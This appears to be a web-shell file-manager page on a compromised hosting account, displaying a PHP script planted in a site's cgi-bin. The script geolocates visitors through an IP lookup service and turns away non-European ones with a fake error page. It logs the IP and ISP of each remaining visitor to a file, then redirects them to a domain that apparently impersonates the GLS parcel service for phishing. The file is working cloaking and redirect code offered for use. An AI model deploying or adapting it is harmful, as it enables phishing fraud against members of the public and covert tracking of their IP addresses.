Server : LiteSpeed System : Linux server321.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : apotdzgr ( 7060) PHP Version : 8.0.30 Disable Function : NONE Directory : /home/apotdzgr/snelapotheeks.com/cgi-bin/ |
Upload File : |
<?php // Set timezone date_default_timezone_set('GMT'); $dt = date("d-m-Y H:i:s"); // Start session session_start(); // Get IP address of the client $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $_SESSION['_ip_'] = $ip; // Function to fetch IP details using cURL function fetch_ip_details($ip) { $url = "http://ip-api.com/json/" . $ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FAILONERROR, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && $response) { $json = json_decode($response); if (json_last_error() === JSON_ERROR_NONE) { return $json; } } return null; } // List of European country codes $EUROPE_COUNTRIES = [ "AL", "AD", "AT", "BY", "BE", "BA", "BG", "HR", "CY", "CZ", "DK", "EE", "FI", "FR", "DE", "GR", "HU", "IS", "IE", "IT", "LV", "LI", "LT", "LU", "MT", "MD", "MC", "ME", "NL", "NO", "PL", "PT", "RO", "RU", "SM", "RS", "SK", "SI", "ES", "SE", "CH", "UA", "GB", "VA", "TN", ]; // Fetch IP details $IP_LOOKUP = fetch_ip_details($ip); if ($IP_LOOKUP && $IP_LOOKUP->status === "success") { $_SESSION['_LOOKUP_COUNTRY_'] = $IP_LOOKUP->country; $_SESSION['_LOOKUP_CNTRCODE_'] = $IP_LOOKUP->countryCode; $_SESSION['_LOOKUP_CITY_'] = $IP_LOOKUP->city; $_SESSION['_LOOKUP_REGION_'] = $IP_LOOKUP->region; $_SESSION['_LOOKUP_STATE_'] = $IP_LOOKUP->regionName; $_SESSION['_LOOKUP_ZIPCODE_'] = $IP_LOOKUP->zip; $_SESSION['_LOOKUP_ISP_'] = $IP_LOOKUP->isp; $_SESSION['_LOOKUP_REGIONS_'] = $_SESSION['_LOOKUP_STATE_'] . "(" . $_SESSION['_LOOKUP_REGION_'] . ")"; $_SESSION['_forlogin_'] = $_SESSION['_LOOKUP_CNTRCODE_'] . " - " . $_SESSION['_ip_']; // Check if visitor is from Europe if (!in_array($_SESSION['_LOOKUP_CNTRCODE_'], $EUROPE_COUNTRIES)) { header("HTTP/1.1 403 Forbidden"); die("<h1>403 Forbidden</h1><p>Access denied.</p>"); } // Log visitor details $log_file = fopen("V.txt", "a"); if ($log_file) { fwrite($log_file, "[" . $dt . "] " . $_SESSION['_LOOKUP_CNTRCODE_'] . " - " . $_SESSION['_ip_'] . " - " . $_SESSION['_LOOKUP_ISP_'] . "\n"); fclose($log_file); } // Redirect to another URL header('Location: https://ihrpaket-gls-group.online/'); exit(); } else { // If API fails, show 404 error header("HTTP/1.0 404 Not Found"); die("<h1>404 Not Found</h1><p>Could not retrieve IP information for " . htmlspecialchars($ip) . ".</p>"); } ?>